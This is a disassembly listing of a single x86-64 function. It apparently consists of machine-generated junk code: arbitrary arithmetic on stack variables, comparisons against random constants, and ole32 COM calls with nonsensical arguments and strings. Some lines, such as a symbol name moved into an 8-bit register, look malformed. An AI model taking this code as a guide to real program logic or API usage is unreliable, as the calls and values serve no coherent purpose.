movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x34a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bfc]
add eax, 0xe9
mov dword [rsp + 0x1bfc], eax
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
movzx ecx, word [0x1400f3018]
and eax, ecx
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34b0]
mov ecx, dword [rsp + 0x1b6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1bf4], eax
mov rax, qword [rsp + 0x3420]
mov rcx, qword [rsp + 0x34d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3560]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0xd0]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x778]
movsx ecx, word [rsp + 0x7b8]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7a8]
and eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd0]
or eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcf]
sar eax, cl
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3510]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1b6c]
shl eax, cl
mov rcx, qword [rsp + 0x3568]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3318]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
mov rcx, qword [0x1400f3010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3560]
mov qword [rcx], rax
cmp dword [rsp + 0x1bfc], 0x6691
jbe 0x14000b963
mov rax, qword [rsp + 0x3510]
mov rcx, qword [rsp + 0x3568]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1858]
mov edx, dword [0x1400f3004]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400d7a70
mov eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x2e94], eax
cmp dword [rsp + 0x2e94], 0x2b8651fe
je 0x1400d7c6a
jmp 0x1400d7ce1
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x34b0]
mov dword [rcx], eax
movzx eax, byte [str._tt_6_]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
and eax, ecx
mov word [0x1400f3018], ax
mov r8d, dword [rsp + 0x1b6c]
movzx edx, word [0x1400f301c]
mov ecx, dword [rsp + 0x1b6c]
call fcn.1400d8af0
nop
jmp 0x1400d7cfe
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [rsp + 0x7b8]
sub eax, ecx
mov rcx, qword [rsp + 0x34a8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x7d
lea rax, [rsp + 0x33d8]
mov qword [rsp + 0x20], rax
mov r9d, 0x5f
lea r8, [rsp + 0x32d0]
lea rdx, [rsp + 0x14770]
lea rcx, [rsp + 0x34d8]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x1bbc], eax
mov eax, dword [rsp + 0x1b0c]
mov rcx, qword [rsp + 0x3440]
mov qword [rsp + 0x14640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1a98], eax
lea r9, [rsp + 0x3468]
lea r8, [rsp + 0x14740]
lea rdx, [rsp + 0x3468]
lea rcx, [rsp + 0x14760]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0x1bbc], eax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov byte [rsp + 0x2e98], al
cmp byte [rsp + 0x2e98], 0x67
je 0x1400d7df6
cmp byte [rsp + 0x2e98], 0xfe
je 0x1400d7dde
jmp 0x1400d7e16
mov rdx, qword [rsp + 0x34c8]
movzx ecx, byte [rsp + 0xcc]
call fcn.1400d9280
nop
jmp 0x1400d7e16
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7b0], ax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
lea rcx, [rsp + 0x3398]
call qword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [rsp + 0x1a78], eax
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [rsp + 0x1b6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
jmp 0x1400d7f17
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, word [0x1400f3f14]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3310]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0xcc]
call fcn.1400d9280
nop
movzx edx, byte [0x1400f3008]
mov rax, qword [rsp + 0x32e8]
movzx ecx, word [rax]
call fcn.1400d9420
nop
movzx eax, word [0x1400f3018]
mov dword [rsp + 0x2e9c], eax
cmp dword [rsp + 0x2e9c], 0xc15
je 0x1400d7f4e
jmp 0x1400d7f85
lea rax, [rsp + 0x32d0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x146a0]
lea r8, [rsp + 0x3490]
mov edx, 0xa0
lea rcx, [rsp + 0x3468]
call qword [sym.imp.ole32.dll_CoInstall]
mov dword [rsp + 0x1b50], eax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [0x1400f3f16]
sub eax, ecx
movsx ecx, byte [0x1400f3008]
cmp eax, ecx
jne 0x1400d8045
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x7b0], ax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3448]
shl rax, cl
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
lea rdx, [rsp + 0x3320]
mov ecx, 0x9f
call qword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b6c], eax
jmp 0x1400d8097
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x3448]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov rdx, qword [rsp + 0x32a8]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jg 0x1400d8097
movzx r8d, word [rsp + 0x7a8]
mov rax, qword [rsp + 0x3330]
movzx edx, word [rax]
movzx ecx, byte [str._tt_6_]
call fcn.1400d9880
nop
jmp 0x1400d80bc
mov r8d, dword [rsp + 0x1858]
mov rax, qword [rsp + 0x3400]
movzx edx, word [rax]
mov rax, qword [rsp + 0x33c0]
mov ecx, dword [rax]
call fcn.1400d8af0
nop
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a8]
mov qword [rsp + 0x14648], rax
movabs rax, 0xe54232907bd8d5d
cmp qword [rsp + 0x14648], rax
je 0x1400d811d
movabs rax, 0x668a0565ee30dd3c
cmp qword [rsp + 0x14648], rax
je 0x1400d819a
jmp 0x1400d81b4
movzx eax, byte [rsp + 0xca]
movzx ecx, byte [rsp + 0xc9]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
lea rdx, [rsp + 0x3490]
lea rcx, [rsp + 0x14730]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x1b18], eax
mov rax, qword [rsp + 0x3490]
mov rcx, qword [rsp + 0x3318]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
jmp 0x1400d81b4
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1b0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1aa8], eax
jmp 0x1400d82a2
movsx eax, byte [0x1400f3008]
cmp eax, 0x27
jne 0x1400d826d
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
mov dword [rsp + 0x2ea0], eax
cmp dword [rsp + 0x2ea0], 0x43343c82
je 0x1400d81f6
cmp dword [rsp + 0x2ea0], 0x47592915
je 0x1400d8250
jmp 0x1400d826d
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f3f14], ax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
lea rdx, [rsp + 0x3470]
lea rcx, [rsp + 0x1ab8]
call qword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [rsp + 0x1b18], eax
jmp 0x1400d826d
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
sar eax, cl
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
lea rcx, [rsp + 0x14710]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0x1b88], eax
movzx eax, word [rsp + 0x770]
movzx ecx, word [rsp + 0x7b0]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x14650], rax
movabs rax, 0x78121cd57eae9545
cmp qword [rsp + 0x14650], rax
je 0x1400d8305
jmp 0x1400d8326
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3420]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rdx, qword [rsp + 0x3420]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
jmp 0x1400d8401
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov dword [rsp + 0x2ea4], eax
cmp dword [rsp + 0x2ea4], 0x878
je 0x1400d8384
jmp 0x1400d8386
jmp 0x1400d83a3
lea rdx, [rsp + 0x32e0]
lea rcx, [rsp + 0x146e0]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x1ba8], eax
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x3468]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x1b50], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7ac]
sub eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [0x1400f3f10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3300]
mov rdx, qword [rax]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x2ea8], eax
cmp dword [rsp + 0x2ea8], 0x1d9c2a88
je 0x1400d8451
jmp 0x1400d846e
call qword [sym.imp.ole32.dll_CoUninitialize]
movzx edx, byte [0x1400f3008]
movzx ecx, word [rsp + 0x7a8]
call fcn.1400d9420
nop
jmp 0x1400d84ae
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3420], rax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
cmp eax, ecx
jne 0x1400d84e7
mov rdx, qword [rsp + 0x32a8]
movzx ecx, byte [0x1400f3008]
call fcn.1400d9280
nop
movzx eax, word [rsp + 0x770]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x2eac], al
cmp byte [rsp + 0x2eac], 0x14
je 0x1400d8522
jmp 0x1400d8544
lea r8, [rsp + 0x1ab8]
mov edx, 0xee
lea rcx, [rsp + 0x146a0]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x1a78], eax
mov edx, 9
lea rcx, [rsp + 0x3378]
call qword [sym.imp.ole32.dll_CoTaskMemRealloc]
mov qword [rsp + 0x3468], rax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0xca]
xor eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
jmp 0x1400d8687
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3370]
mov qword [rsp + 0x14658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14658]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x32a8]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jg 0x1400d866f
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32a8]
mov qword [rsp + 0x14660], rax
movabs rax, 0x1f763c7d9d1dcf50
cmp qword [rsp + 0x14660], rax
je 0x1400d8630
jmp 0x1400d864e
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [rsp + 0x1858]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
jmp 0x1400d866f
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x3290]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov eax, dword [0x1400f3f10]
mov ecx, dword [rsp + 0x1a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov dword [rsp + 0x2eb0], eax
cmp dword [rsp + 0x2eb0], 0x58b
je 0x1400d86d5
cmp dword [rsp + 0x2eb0], 0x7d6
je 0x1400d8722
jmp 0x1400d8747
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x3320]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
jmp 0x1400d8747
lea r8, [rsp + 0x770]
lea rdx, [rsp + 0x1aa8]
lea rcx, [rsp + 0x14720]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x1b24], eax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3310]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x2eb4], al
cmp byte [rsp + 0x2eb4], 0x27
je 0x1400d8786
jmp 0x1400d87a5
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1a98]
shl eax, cl
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
xor eax, ecx
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
cmp eax, ecx
jl 0x1400d88a7
mov rax, qword [rsp + 0x32e0]
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
lea rdx, [rsp + 0x14690]
lea rcx, str.Trifling_javelins_Lubricates_stoat
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x1b10], eax
lea rax, [rsp + 0x3330]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1858]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1a98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x146c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ab8]
lea r8, [rsp + 0x146a0]
lea rdx, [rsp + 0x3290]
lea rcx, [rsp + 0x32a0]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x1b24], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32d8]
mov rdx, qword [rax]
mov cl, 0xcc
call fcn.1400d9280
nop
jmp 0x1400d8962
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov dword [rsp + 0x2eb8], eax
cmp dword [rsp + 0x2eb8], 0x1799ff72
je 0x1400d88ec
cmp dword [rsp + 0x2eb8], 0x2d836126
je 0x1400d894b
jmp 0x1400d8962
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
jmp 0x1400d8962
mov edx, 0xce
mov ecx, 0x71
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x1ad4], eax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x2ebc], al
cmp byte [rsp + 0x2ebc], 0x86
je 0x1400d899c
jmp 0x1400d899e
jmp 0x1400d89ba
mov eax, dword [rsp + 0x1aa8]
mov ecx, dword [rsp + 0x1a98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
lea rdx, [rsp + 0x32a0]
lea rcx, [rsp + 0x146f0]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x1ad4], eax
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3300]
mov qword [rsp + 0x14668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14668]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x32a8], rax
mov r8d, dword [rsp + 0x1a84]
mov dx, 0x53
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
jmp 0x1400d8a57
movzx eax, byte [rsp + 0xc8]
add eax, 0xf5
mov byte [rsp + 0xc8], al
lea rdx, [rsp + 0x1b24]
lea rcx, [rsp + 0x146d0]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x1a78], eax
lea rdx, [rsp + 0x146a0]
lea rcx, str.Baking_proofs
call qword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [rsp + 0x1b24], eax
mov r8d, dword [section..data]
mov dx, 9
mov ecx, dword [section..data]
call fcn.1400d8af0
nop
movzx r8d, word [rsp + 0x770]
movzx edx, word [rsp + 0x770]
movzx ecx, byte [rsp + 0xc8]
call fcn.1400d9880
movzx eax, word [rsp + 0x770]
and eax, 0x4d1
mov word [rsp + 0x770], ax
mov dl, SHTestTokenMembership
movzx ecx, word [rsp + 0x770]
call fcn.1400d9420
mov eax, dword [rsp + 0x1930]
add rsp, 0x14928
pop rdi
pop rsi
ret